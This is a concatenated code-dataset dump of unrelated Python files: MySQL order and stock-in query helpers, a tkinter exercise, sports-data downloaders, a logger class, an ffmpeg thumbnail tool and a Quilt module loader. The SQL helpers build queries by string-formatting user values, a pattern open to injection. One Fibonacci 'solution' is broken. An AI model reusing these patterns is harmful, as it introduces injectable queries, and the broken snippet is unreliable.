e:\n\t\t\tlogger.error('获取二级包裹号信息失败,错误提示如下:\\n{}\\n'.format(e))\n\t\t\treturn \n\ndef odbc_Garencieres_ReadyPackageStockin_Records(schema, NickName, stockincode_Status, global_time=OrdersRange_StartTime):\n\t# 目前不支持美国台湾仓的订单\n\tquerystring = '''\n\t\tSelect distinct os.nick_name, os.code, oss.stockin_status_id, dss.description, os.order_id, os.stock_in_date, os.is_all_stock_in,\n\t\tcase when os.total_weight>= os.total_volume_weight then os.total_weight\n\t\t else os.total_volume_weight\n\t\t end as Picking_Weight,\n\t\tos.warehouse_id \n\t\tfrom {0}.oper_stockin os\n\t\tjoin {0}.oper_stockin_status oss on os.code =oss.stockin_code\n\t\tjoin {0}.dic_stockin_status dss on dss.id = oss.stockin_status_id\n\t\twhere os.nick_name='{1}' and os.create_date>{2} and os.warehouse_id in (1,2)\n\t'''.format(schema, NickName,global_time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回一组数据集合, 并且包含所有入库之后的入库号状态\n\t\t# 目标数据是 12-已释放; 1- 已入库, 3-已上架, 4-已下架, 2-已拣货\n\t\tstockinCode_List =[]\n\t\tif recordset:\n\t\t\tfor record in recordset:\n\t\t\t\t# print(record)\n\t\t\t\tstockin_status = record[3]\n\t\t\t\tif stockin_status == stockincode_Status:\n\t\t\t\t\tstockinCode_List += [record[1]]\n\n\t\treturn stockinCode_List\n\texcept Exception as e:\n\t\tlogger.error('请求获取Garencieres.oper_stockin的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn\n\n# >>>>>>>>>>>>>>>>> Test Scripts used <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\ndef odbc_OMS_UserOrders(schema, nickname,global_time=OrdersRange_StartTime):\n\t# 直接通过nickname,查询并获取该会员的新订单\n\tquerystring = '''\n\t Select uo.id as order_id, uoi.id as order_item_id,uoi.prosource_region_id,mssql.order_number\n\t\tfrom {0}.`user_order` uo\n\t\tleft join {0}.`user_order_item` uoi on uoi.order_id = uo.id\n\t\tleft join {0}.`user_order_item_mssql` mssql on mssql.order_id = uoi.order_id and mssql.order_item_id = uoi.id\n\t where uo.customer_id = (select customer_id from {0}.oms_customer where nick_name = '{1}')\n\t\t and uo.oms_create_date > {2}\n\t'''.format(schema,nickname,global_time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回的是一个二维元祖数组, 需要将相应的OrderNumber取出来并存在一个List中。\n\t\tif recordset:\n\t\t\t# 返回一条记录\n\t\t\tif len(recordset) ==1:\n\t\t\t\tOrderNumbers_List = [recordset[0]]\n\t\t\t# 返回多条记录\n\t\t\telse:\n\t\t\t\tOrderNumbers_List =[]\n\t\t\t\ti = 0\n\t\t\t\twhile i < len(recordset):\n\t\t\t\t\tOrderNumbers_List.append(recordset[i])\n\t\t\t\t\ti+=1\t\n\t\t\treturn OrderNumbers_List\n\t\telse:\n\t\t\treturn \n\texcept Exception as e:\n\t\tlogger.error('访问数据库失败.错误信息如下:\\n{}'.format(e))\n\t\treturn\t\n\ndef odbc_OMS_LastStatusInfo(schema, order_id, order_item_id):\n\t# 直接通过order_id,order_item_id 查询并获取该订单的OMS状态\n\tquerystring = '''\n\t Select status_id \n\t from {0}.oms_order_item_status \n\t where order_id = {1} and order_item_id = {2} \n\t order by update_date desc;\n\t'''.format(schema,order_id, order_item_id)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回的是一个status_id\n\t\tif recordset:\n\t\t\treturn recordset[0][0]\n\t\telse:\n\t\t\treturn \n\texcept Exception as e:\n\t\tlogger.error('访问数据库失败.错误信息如下:\\n{}'.format(e))\n\t\treturn\n\ndef odbc_OMS_StatusHistoryInfo(schema, order_id, order_item_id):\n\t# 直接通过order_id,order_item_id 查询并获取该订单的OMS状态\n\tquerystring = '''\n\t Select order_id, order_item_id, status_id, content, platform,create_by\n\t from {0}.oms_order_item_status_history \n\t where order_id = {1} and order_item_id = {2} \n\t order by create_date;\n\t'''.format(schema,order_id, order_item_id)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\tif recordset:\n\t\t\t# 返回一条记录\n\t\t\tif len(recordset) ==1:\n\t\t\t\tOrderNumbers_List = [recordset[0]]\n\t\t\t# 返回多条记录\n\t\t\telse:\n\t\t\t\tOrderNumbers_List =[]\n\t\t\t\ti = 0\n\t\t\t\twhile i < len(recordset):\n\t\t\t\t\tOrderNumbers_List.append(recordset[i])\n\t\t\t\t\ti+=1\t\n\t\t\treturn OrderNumbers_List\n\t\telse:\n\t\t\treturn \n\texcept Exception as e:\n\t\tlogger.error('访问数据库失败.错误信息如下:\\n{}'.format(e))\n\t\treturn\n\ndef odbc_Eltreum_isSellerOrder(schema, order_id, order_item_id):\n\t# 直接通过order_id,order_item_id 查询并获取该订单是否是卖家订单\n\tquerystring = '''\n\t\tSelect count(*) \n\t\t from {0}.oper_order_ezseller \n\t\t where oper_purchase_order_id = (\n\t\t \t\tSelect id \n\t\t \t\t from {0}.oper_purchase_order \n\t\t \t\t where order_id_mysql = {1} \n\t\t \t\t and order_item_id_mysql = {2}\n\t\t \t\t);\n\t'''.format(schema,order_id,order_item_id)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回的是一个status_id\n\t\tif int(recordset[0][0])>0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\texcept Exception as e:\n\t\tlogger.error('访问数据库失败.错误信息如下:\\n{}'.format(e))\n\t\treturn\n\ndef odbc_UserOrder_OrderCount_Today(nickname, countrycode, global_time=OrdersRange_StartTime):\n\t# 当天中台需要推送的订单数量\n\tezOrderschema = 'userorder_'+countrycode\n\tcustomerschema = 'nadesico_'+countrycode\n\tomsschema = 'OMS_'+countrycode\n\tezQuerystring = '''\n\t\tSelect count(*) as ezOrder_count\n\t\t from {0}.user_order_item uoi\n\t\t join {0}.user_order uo on uo.id = uoi.order_id\n\t\t join {4}.oms_order_item_status oms on oms.order_id = uoi.order_id\n\t\t where uo.Customer_id = (Select id from {1}.customer where nick_name = '{2}')\n\t\t and uoi.create_date > {3}\n\t'''.format(ezOrderschema,customerschema,nickname, global_time,omsschema)\n\t# print(ezQuerystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(ezOrderschema,ezQuerystring)\n\t\treturn int(recordset[0][0])\n\n\texcept Exception as e:\n\t\tlogger.error('访问数据库失败.错误信息如下:\\n{}'.format(e))\n\t\treturn\n\ndef odbc_OMS_PurchaseOrderCount_Today(nickname, countrycode, ezOrderCount, global_time=OrdersRange_StartTime):\n\t# 当天OMS生成采购单的订单数量\n\tomsschema = 'oms_'+countrycode\n\tquerystring = '''\n\t\tSelect src.order_id, src.order_item_id, src.status_id, lkp.order_number, oms.purchase_order_status_id\n\t\t from {0}.`oms_order_item_status` src\n\t\t join {0}.`user_order_item_mssql` lkp on lkp.order_id = src.order_id and lkp.order_item_id = src.order_item_id\n\t\t join oms_sync.oper_purchase_order_status oms on oms.order_id = src.order_id and oms.order_item_id = src.order_item_id\n\t\t where src.customer_id = (Select customer_id from {0}.oms_customer where nick_name = '{1}')\n\t\t and src.create_date > {2}\n\t'''.format(omsschema,nickname,global_time)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(omsschema,querystring)\n\t\t# 默认返回的是一个status_id\n\t\tif recordset:\n\t\t\t\n\t\t\ttmp, flag = 0, False\n\t\t\tfor item in recordset:\n\t\t\t\tomsStatusID = int(item[2])\n\t\t\t\tpurchaseStatusID = int(item[4])\n\t\t\t\tif omsStatusID>=2500 and purchaseStatusID == 99:\n\t\t\t\t\tflag = True\n\t\t\t\telse:\n\t\t\t\t\tflag = False\n\t\t\t\ttmp+=1\n\n\t\t\tlogger.debug('当前的订单总数 = {}, 采购单初始状态从2500开始 = {}'.format(tmp,flag))\n\t\t\tif flag and tmp == ezOrderCount:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\tlogger.debug('没有找到会员 {} 当天的已支付的订单'.format(nickname))\n\t\t\treturn False\n\n\texcept Exception as e:\n\t\tlogger.error('访问数据库失败.错误信息如下:\\n{}'.format(e))\n\t\treturn\n","sub_path":"Utils/TestData_API.py","file_name":"TestData_API.py","file_ext":"py","file_size_in_byte":23843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"134488843","text":"# create a 300x300 canvas.\n# create a line drawing function that takes 2 parameters:\n# the x and y coordinates of the line's starting point\n# and draws a line from that point to the center of the canvas.\n# fill the canvas with lines from the edges, every 20 px, to the center.\n\nfrom tkinter import *\nimport random\n\nroot = Tk()\n\nwidth = 300\nheight = 300\n\ncanvas = Canvas(root, width=width, height=height, bg='black')\ncanvas.pack()\n\ndef line_centeralizer(x, y):\n return canvas.create_line(x,y,width/2,height/2, fill='light blue', width='20')\n\n\n\nline_centeralizer(0,0)\nline_centeralizer(0,height)\nline_centeralizer(width,0)\nline_centeralizer(width,height)\n\nroot.mainloop()","sub_path":"week-04/wednesday/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"627406112","text":"import logging\n\nimport jsonpickle\n\nfrom .. import utilities\nfrom .models import Team\n\nlogging.getLogger().setLevel(logging.INFO)\n\n\ndef download_all_teams_picks(game, team_ids, gameweek):\n \"\"\"Download team picks one by one\"\"\"\n teams = []\n\n for counter, team_id in enumerate(team_ids):\n teams.append(download_team_picks(game, team_id, gameweek))\n logging.info('Downloaded Team Picks: {}/{}'.format(counter + 1, len(team_ids)))\n\n return teams\n\n\ndef download_team_picks(game, team_id, gameweek):\n \"\"\"Download and parse team picks\"\"\"\n response = utilities.get_request(\n utilities.get_url('TEAM_ENTRY_URL', game, team_id=team_id, gameweek=gameweek))\n\n team = Team.Team(response, id=team_id)\n team_json = jsonpickle.encode(team, unpicklable=False)\n\n utilities.save_file(team_json, '{}/teams/{}/gw_{}.json'.format(game, team_id, gameweek))\n\n return team\n\n\ndef download_all_teams_histories(game, team_ids):\n \"\"\"Download team picks one by one\"\"\"\n teams = []\n\n for counter, team_id in enumerate(team_ids):\n teams.append(download_team_history(game, team_id))\n logging.info('Downloaded Team History: {}/{}'.format(counter + 1, len(team_ids)))\n\n return teams\n\n\ndef download_team_history(game, team_id):\n \"\"\"Download and parse team histories\"\"\"\n response = utilities.get_request(utilities.get_url('TEAM_HISTORY_URL', game, team_id=team_id))\n\n history = Team.History(response, id=team_id)\n history_json = jsonpickle.encode(history, unpicklable=False)\n\n utilities.save_file(history_json, '{}/history/{}.json'.format(game, team_id))\n return history\n\n\ndef read_team(game, team_id, gameweek):\n \"\"\"Read single team id from the local storage\"\"\"\n team = utilities.read_file('{}/teams/{}/gw_{}.json'.format(game, team_id, gameweek))\n return team\n\n\ndef read_teams(game, team_ids, gameweek):\n \"\"\"Read/download multiple teams from the local storage\"\"\"\n teams = []\n for team_id in team_ids:\n team = read_team(game, team_id, gameweek)\n if team is None:\n team = download_team_picks(game, team_id, gameweek)\n teams.append(team)\n else:\n teams.append(Team.Team(team=None, **team))\n return teams\n\n\ndef read_history(game, team_id):\n \"\"\"Read single team history from the local storage\"\"\"\n team = utilities.read_file('{}/history/{}.json'.format(game, team_id))\n return team\n\n\ndef read_histories(game, team_ids):\n \"\"\"Read/download multiple team histories from the local storage\"\"\"\n teams = []\n for team_id in team_ids:\n team = read_history(game, team_id)\n if team is None:\n team = download_team_history(game, team_id)\n teams.append(team)\n else:\n teams.append(Team.History(history=None, **team))\n return teams\n\n","sub_path":"fantasy_premier_league/helpers/team.py","file_name":"team.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"597491475","text":"# Q.\n# When use a sequence of 1 to encode a message. 11 represents a 'k', 1 represents a 'a'. Suppose we receive a sequence of 1\n# with length N, how many different phrases can we decode? \n\n# A.\n# f(N) = f(N-1) + F(N-2), f(1) = 1, f(2) = 2\n\n# Solution 1\ndef fib(n):\n if n == 1:\n return 1\n elif n == 2:\n return 2\n else:\n lag1,lag2,index = 3,2,3\n while index < n:\n ouput += lag1 + lag2\n lag2 = lag1\n lag1 = index\n index += 1\n return output\n \n \n# Solution 2\ndef fib(n):\n a, b = 1, 1\n while n > 0:\n a, b = b, a + b\n n -= 1\n return a\n","sub_path":"Interview_questions_exposed/Binary_sequence_decoding.py","file_name":"Binary_sequence_decoding.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"567991124","text":"from xchainpy_util.asset import Asset as template\nfrom xchainpy_util.chain import is_chain\n\n\nclass Asset(template):\n def __init__(self, chain, symbol, ticker = ''):\n \"\"\"\n :param chain: chain type\n :type chain: str\n :param symbol: symbol name\n :type symbol: str\n :param ticker: is the symbol or the contract address of the token\n :type ticker: str\n \"\"\"\n\n if is_chain(chain):\n self._chain = chain\n else:\n raise Exception('the chain is invalid')\n self._symbol = symbol\n if not ticker:\n if '-' in symbol:\n self._ticker = symbol[symbol.index('-')+1:]\n else:\n self._ticker = symbol\n else:\n self._ticker = ticker","sub_path":"xchainpy/xchainpy_ethereum/xchainpy_ethereum/models/asset.py","file_name":"asset.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"422129125","text":"import collections\nN = int(input())\nS = list(input())\nrightE = S.count('E')\nrightW = S.count('W')\nleftE = 0\nleftW = 0\nans = N\nfor n in range(N):\n if S[n] == 'E':\n rightE -= 1\n ans = min(ans,leftW+rightE)\n leftE += 1\n else:\n rightW -= 1\n ans = min(ans,leftW+rightE)\n leftW += 1\nprint(ans)\n","sub_path":"ABC/ABC_098/abc098c.py","file_name":"abc098c.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"567109867","text":"def part1_sim(num_elves):\n elves = [i + 1 for i in range(num_elves)]\n\n elf = 0\n while len(elves) > 1:\n try:\n elves.pop(elf + 1)\n elf = (elf + 1) % len(elves)\n except IndexError:\n elves.pop(0)\n elf = 0\n return elves[0]\n\n\ndef part1(num_elves):\n n = 1\n for i in range(1, num_elves + 1):\n n += 2\n if n > i:\n n = 1\n return n\n\n\ndef part2_sim(num_elves):\n elves = [i + 1 for i in range(num_elves)]\n elf = 0\n while len(elves) > 1:\n elf_across = (elf + int(len(elves) / 2)) % len(elves)\n elf_number = elves[elf]\n elves.pop(elf_across)\n elf = (elves.index(elf_number) + 1) % len(elves)\n return elves[0]\n\n\ndef part2(num_elves):\n n = 1\n inc = 0\n for i in range(1, num_elves + 1):\n n += inc\n if i == 2 * n:\n inc = 2\n elif i == n:\n inc = 1 - n # Set inc so that next n is 1\n elif n == 1:\n inc = 1 # Following a reset to 1, set inc to 1\n return n\n\n\n# for i in range(1, 20):\n# print(i, part1_sim(i))\nprint(part1(3012210))\n# for i in range(1, 20):\n# print(i, part2_sim(i))\nprint(part2(3012210))\n","sub_path":"2016/day19.py","file_name":"day19.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"360369751","text":"import sys\nimport logging\nfrom logging.handlers import RotatingFileHandler, TimedRotatingFileHandler\nfrom pathlib import Path\nimport inspect\n\n\nclass LnClass(): pass\n\n##############################################################################\n# - classe che mi permette di lavorare nel caso il logger non sia richiesto\n##############################################################################\nclass nullLogger():\n def __init__(self, package=None, stackNum=1): pass\n def info(self, data): self._dummy(data)\n def debug(self, data): self._dummy(data)\n def error(self, data): self._dummy(data)\n def warning(self, data): self._dummy(data)\n def _dummy(self, data): pass\n\n '''\n def _print(self, data, stackNum=2):\n TAB = 4\n data = '{0}{1}'.format(TAB*' ',data)\n caller = inspect.stack()[stackNum]\n dummy, programFile, lineNumber, funcName, lineCode, rest = caller\n if funcName == '': funcName = '__main__'\n pkg = package.split('.', 1)[1] + '.' +funcName\n str = \"[{FUNC:<20}:{LINENO}] - {DATA}\".format(FUNC=pkg, LINENO=lineNumber, DATA=data)\n print (str)\n '''\n\n\n\n##############################################################\n# http://stackoverflow.com/questions/16203908/how-to-input-variables-in-logger-formatter\n##############################################################\nclass ContextFilter(logging.Filter):\n \"\"\"\n This is a filter which injects contextual information into the log.\n\n Rather than use actual contextual information, we just use random\n data in this demo.\n \"\"\"\n def __init__(self, defaultStack=6, autoReset=False):\n '''\n efaultStack=6 quando all'interno di una classe\n altrimenti defaultStack=5\n '''\n self._defaultStack = defaultStack\n self._line = None\n self._name = None\n self._LnFuncName = None # creata da me\n self._stack = defaultStack\n self._fDEBUG = False\n self._autoReset = autoReset\n '''\n ho verificato che con 5 sembra andare bene\n usato quando chiamato direttamete dal logger\n quando lo chiamo dal SetLogger devo impostaro a 6\n '''\n\n\n def setAutoReset(self, flag):\n self._autoReset = flag\n\n def setLineNO(self, number):\n self._line = number\n\n def setFuncName(self, myname):\n self._LnFuncName = myname\n\n def setStack(self, number):\n self._stack = number if number else self._defaultStack\n\n def addStack(self, number):\n self._stack = (self._defaultStack + number) if number else self._defaultStack\n # print ('self._stack changed to:', self._stack)\n\n def filter(self, record):\n dummy, programFile, lineNO, funcName, lineCode, rest = inspect.stack()[self._stack]\n if funcName == '': funcName = '__main__'\n\n\n record.lineno = self._line if self._line else lineNO\n record.LnFuncName = self._LnFuncName if self._LnFuncName else funcName\n record.name = self._name if self._name else funcName\n\n if self._autoReset:\n self._line = None\n self._LnFuncName = None\n self._name = None\n self._stack = self._defaultStack\n\n return True\n\n\n\n\n\n\n'''\n# https://stackoverflow.com/questions/20372669/python-use-the-same-class-instance-in-multiple-modules\ndef singleton_with_args(*args, **kwargs):\n def wrapper(cls):\n return cls(*args, **kwargs)\n return wrapper\n\n\n# https://stackoverflow.com/questions/39492471/how-to-extend-the-logger-logging-class\n# https://stackoverflow.com/questions/19615876/showing-the-right-funcname-when-wrapping-logger-functionality-in-a-custom-class\n@singleton_with_args(0)\n'''\nclass LnLogger(logging.getLoggerClass()):\n ''' LnLogger class '''\n\n # ----------------------------------------------------------------------------\n # - variabili che saranno condivise da tutti i chiamanti.\n # - inserisco i pointer ed i valori basilari per condividere la classe\n # ----------------------------------------------------------------------------\n loggers = set() # univoco MA... non mantiene l'ordine di iserimento\n Pointers = LnClass()\n\n def __init__( self,\n name='LnLoggerClass',\n toFILE=False,\n toCONSOLE=False,\n logfilename=None,\n defaultLogLevel='info',\n ARGS=None,\n rotationType='time',\n backupCount=5,\n maxBytes=20000,\n when=\"m\",\n interval=60,\n ):\n\n\n ''' internal variables '''\n self._logEnabled = False\n self._level = logging.INFO\n\n self._name = name\n self._to_file = False\n self._to_console = False\n self._filename = None\n self._modulesToLog = []\n\n self._rotation_type = rotationType\n self._backup_count = backupCount\n self._max_bytes = maxBytes\n self._when_rotate = when\n self._rotation_interval = interval\n\n self._file_format = '[%(asctime)s] [%(LnFuncName)-20s:%(lineno)4d] %(levelname)-5.5s - %(message)s'\n self._console_format = '[%(LnFuncName)-20s:%(lineno)4d] %(levelname)-5.5s - %(message)s'\n # self._file_format = '[%(asctime)s] [%(module)-20s:%(lineno)4d] %(levelname)-5.5s - %(message)s'\n # self._console_format = '[%(module)-20s:%(lineno)4d] %(levelname)-5.5s - %(message)s'\n self._date_time_format = '%m-%d %H:%M:%S'\n\n self._myLogger = logging.getLogger(self._name)\n self._nullLogger = nullLogger()\n self._LnFilter = ContextFilter(defaultStack=6, autoReset=True)\n\n if name not in self.loggers:\n self.loggers.add(name)\n self._myLogger.setLevel(self._level)\n self._myLogger.addFilter(self._LnFilter)\n\n self._LnFilter.setFuncName('initializing')\n\n ''' setting LogLevel '''\n assert type(defaultLogLevel) == str\n if defaultLogLevel.lower() == 'debug': self._level = logging.DEBUG\n elif defaultLogLevel.lower() == 'warning': self._level = logging.WARNING\n\n\n\n ''' setting file/console/logEnable/modulesToLog '''\n self._prepareFileLog(toFILE, logfilename)\n\n ''' put Console to override file settings '''\n self._prepareConsoleLog(toCONSOLE)\n\n ''' prepare logfile if required '''\n if self._to_file or self._to_console:\n self._logEnabled = True\n self.logger = self._myLogger\n else:\n self.logger = self._nullLogger\n\n\n # ---------------------------------------------\n # - inseriamo alcuni puntatori per permettere\n # - agli altri di accedere alla stessa istanza\n # - di logger\n # ---------------------------------------------\n self.Pointers.rootName = self._name\n self.Pointers.logger = self.logger\n self.Pointers.LnFilter = self._LnFilter\n self.Pointers.modulesToLog = self._modulesToLog\n self.Pointers.logLevel = self._level\n self.Pointers.nullLogger = nullLogger()\n\n\n\n self._myLogger.setLevel(self._level)\n # self._LnFilter.setFuncName(None) # reset al nome del modulo chiamante\n\n\n\n\n ##############################################################\n #\n ##############################################################\n def _prepareConsoleLog(self, toCONSOLE):\n ''' provides:\n create consoleHandler\n add consoleHandler to logger\n '''\n\n if toCONSOLE==False:\n self._to_console = False\n return\n\n elif toCONSOLE==[]:\n self._to_console = True\n self._modulesToLog = ['!ALL!']\n\n elif toCONSOLE:\n self._to_console = True\n self._modulesToLog = toCONSOLE\n\n\n ''' prepare log to console if required '''\n _consoleFormatter = logging.Formatter(fmt=self._console_format, datefmt=self._date_time_format)\n _consoleHandler = logging.StreamHandler(stream=sys.stdout)\n _consoleHandler.setFormatter(_consoleFormatter)\n self._myLogger.addHandler(_consoleHandler)\n\n\n\n\n\n ##############################################################\n #\n ##############################################################\n def _prepareFileLog(self, toFILE, logfilename):\n ''' provides:\n open file\n set rotation policy\n create fileHandler\n add fileHandlet to logger\n '''\n\n if toFILE==False:\n self._to_file = False\n return\n\n elif toFILE==[]:\n self._to_file = True\n self._modulesToLog = ['!ALL!']\n\n elif toFILE:\n self._to_file = True\n self._modulesToLog = toFILE\n\n\n\n _LOG_DIR = Path(logfilename).parent\n self._filename = logfilename\n\n try:\n _LOG_DIR.mkdir(parents=True)\n except (FileExistsError): # skip error if exists\n pass\n\n\n if self._rotation_type == 'time':\n fileHandler = logging.handlers.TimedRotatingFileHandler(\n self._filename,\n when=self._when_rotate,\n interval=self._rotation_interval,\n backupCount=self._backup_count\n )\n\n elif self._rotation_type == 'size':\n fileHandler = logging.handlers.RotatingFileHandler(\n self._filename,\n maxBytes=self._max_bytes,\n backupCount=self._backup_count\n )\n\n else:\n fileHandler = logging.FileHandler(self._filename)\n\n fileFormatter = logging.Formatter(fmt=self._file_format, datefmt=self._date_time_format)\n fileHandler.setFormatter(fileFormatter)\n self._myLogger.addHandler(fileHandler)\n\n\n\n\n ##############################################################\n #\n ##############################################################\n @staticmethod\n def static_getMainPointers():\n return LnLogger.Pointers\n\n\n\n\n ##############################################################\n #\n ##############################################################\n def info(self, msg, extra=None):\n self.logger.info(msg, extra=extra)\n\n def error(self, msg, extra=None):\n self.logger.error(msg, extra=extra)\n\n def debug(self, msg, extra=None):\n self.logger.debug(msg, extra=extra)\n\n def warn(self, msg, extra=None):\n self.logger.warn(msg, extra=extra)\n\n\n # ====================================================================================\n # - dal package passato come parametro cerchiamo di individuare se la fuzione/modulo\n # - è tra quelli da fare il log.\n # - Il package mi server per verficare se devo loggare il modulo o meno\n # ====================================================================================\n @classmethod # permette il richiamo senza dover inizializzare la classe\n def SetLoggerCM(cls, package, stackNum=0, reset=False):\n # xx = LnLogger()\n # myLogger = xx.logger\n # print (cls._name)\n # print (cls.loggers)\n # print (cls._to_console)\n myLogger = cls.class_getlogger()\n return myLogger\n\n\n\n\n","sub_path":"@TEST_LIB/logger_class_01_OK/LnLogger_Class.py","file_name":"LnLogger_Class.py","file_ext":"py","file_size_in_byte":11742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"127013994","text":"from pathlib import Path\nimport ffmpeg\nfrom ffprobe3 import ffprobe\nimport shutil\n\nluts = {\n 'Arri': '/Users/admin/PycharmProjects/Data_Management/mediainfo/utils/ARRI_LogC2Video_709_davinci3d_33.cube',\n 'Sony': '/Users/admin/PycharmProjects/Data_Management/mediainfo/utils/ARRI_LogC2Video_709_davinci3d_33.cube'\n}\n\n\ndef are_drives_connected(output_dir: Path):\n if output_dir.exists() and output_dir.is_dir():\n print('Thumbnail path exists')\n return True\n else:\n return False\n\n\ndef get_lut(media_stats):\n if 's-log' or 'slog' in media_stats['Gamma']:\n return luts['Sony']\n elif 'LOG-C' in media_stats['Gamma']:\n return luts['Arri']\n\n\ndef thumb_to_df(file: Path, output_dir: Path, seek_time: str, media_stats: dict, width='150'):\n # seek_time should be formatted \"00:01\" or similar\n if are_drives_connected(output_dir) is False:\n print('Making thumb dir:' + str(output_dir))\n Path.mkdir(output_dir)\n print('input file: ' + str(file))\n try:\n output_file = output_dir.joinpath(file.stem + '.jpg')\n (\n ffmpeg\n .input(str(file), ss=seek_time)\n .filter('scale', '1920', -1)\n .filter('lut3d', get_lut(media_stats))\n .output(str(output_file), vframes=1)\n .overwrite_output()\n .run()\n )\n html = ''.format(width=width)\n return html\n except Exception as e:\n print('Could not get thumbnail!')\n print(e)\n return None\n","sub_path":"Thumbnail Grabber/utils/thumbnails.py","file_name":"thumbnails.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"144226224","text":"\"\"\"\nMagic module that maps its submodules to Quilt tables.\n\nSubmodules have the following format: quilt.data.$user.$package.$table\n\nE.g.:\n import quilt.data.$user.$package as $package\n print $package.$table\nor\n from quilt.data.$user.$package import $table\n print $table\n\nThe corresponding data is looked up in `quilt_modules/$user/$package.h5`\nin ancestors of the current directory.\n\"\"\"\n\nimport imp\nimport os.path\nimport sys\n\nfrom six import iteritems\n\nfrom .tools.core import GroupNode as CoreGroupNode\nfrom .tools.store import PackageStore\n\n__path__ = [] # Required for submodules to work\n\nclass PackageNode(object):\n \"\"\"\n Abstract class that represents a group or a leaf node in a package.\n \"\"\"\n def __init__(self, package, prefix, node):\n # Can't instantiate it directly\n assert self.__class__ != PackageNode.__class__\n\n self._package = package\n self._prefix = prefix\n self._node = node\n\n def __eq__(self, other):\n if isinstance(other, self.__class__):\n return self._package == other._package and self._prefix == other._prefix\n return NotImplemented\n\n def __ne__(self, other):\n return not self == other\n\n def __hash__(self):\n return hash((self._package, self._prefix))\n\n def __repr__(self):\n finfo = self._package.get_path()[:-len(PackageStore.PACKAGE_FILE_EXT)]\n pinfo = self._prefix\n return \"<%s %r:%r>\" % (self.__class__.__name__, finfo, pinfo)\n\n\nclass GroupNode(PackageNode):\n \"\"\"\n Represents a group in a package. Allows accessing child objects using the dot notation.\n \"\"\"\n def __init__(self, package, prefix, node):\n super(GroupNode, self).__init__(package, prefix, node)\n\n for name, child_node in iteritems(node.children):\n assert not name.startswith('_')\n child_prefix = prefix + '/' + name\n if isinstance(child_node, CoreGroupNode):\n child = GroupNode(package, child_prefix, child_node)\n else:\n child = DataNode(package, child_prefix, child_node)\n setattr(self, name, child)\n\n def __repr__(self):\n pinfo = super(GroupNode, self).__repr__()\n kinfo = '\\n'.join(self._keys())\n return \"%s\\n%s\" % (pinfo, kinfo)\n\n def _data_keys(self):\n \"\"\"\n every child key referencing a dataframe\n \"\"\"\n return [name for name, node in iteritems(self._node.children)\n if not isinstance(node, CoreGroupNode)]\n\n def _group_keys(self):\n \"\"\"\n every child key referencing a group that is not a dataframe\n \"\"\"\n return [name for name, node in iteritems(self._node.children)\n if isinstance(node, CoreGroupNode)]\n\n def _keys(self):\n \"\"\"\n keys directly accessible on this object via getattr or .\n \"\"\"\n return list(self._node.children)\n\n\nclass DataNode(PackageNode):\n \"\"\"\n Represents a dataframe or a file. Allows accessing the contents using `()`.\n \"\"\"\n def __call__(self):\n return self.data()\n\n def data(self):\n \"\"\"\n Returns the contents of the node: a dataframe or a file path.\n \"\"\"\n return self._package.get_obj(self._node)\n\n\nclass FakeLoader(object):\n \"\"\"\n Fake module loader used to create intermediate user and package modules.\n \"\"\"\n def __init__(self, path):\n self._path = path\n\n def load_module(self, fullname):\n \"\"\"\n Returns an empty module.\n \"\"\"\n mod = sys.modules.setdefault(fullname, imp.new_module(fullname))\n mod.__file__ = self._path\n mod.__loader__ = self\n mod.__path__ = []\n mod.__package__ = fullname\n return mod\n\nclass PackageLoader(object):\n \"\"\"\n Module loader for Quilt tables.\n \"\"\"\n def __init__(self, path, package):\n self._path = path\n self._package = package\n\n def load_module(self, fullname):\n \"\"\"\n Returns an object that lazily looks up tables and groups.\n \"\"\"\n mod = sys.modules.get(fullname)\n if mod is not None:\n return mod\n\n # We're creating an object rather than a module. It's a hack, but it's approved by Guido:\n # https://mail.python.org/pipermail/python-ideas/2012-May/014969.html\n\n mod = GroupNode(self._package, '', self._package.get_contents())\n sys.modules[fullname] = mod\n return mod\n\nclass ModuleFinder(object):\n \"\"\"\n Looks up submodules.\n \"\"\"\n @staticmethod\n def find_module(fullname, path=None):\n \"\"\"\n Looks up the table based on the module path.\n \"\"\"\n if not fullname.startswith(__name__ + '.'):\n # Not a quilt submodule.\n return None\n\n submodule = fullname[len(__name__) + 1:]\n parts = submodule.split('.')\n\n if len(parts) == 1:\n for store_dir in PackageStore.find_store_dirs():\n # find contents\n file_path = os.path.join(store_dir, parts[0])\n if os.path.isdir(file_path):\n return FakeLoader(file_path)\n elif len(parts) == 2:\n user, package = parts\n pkgobj = 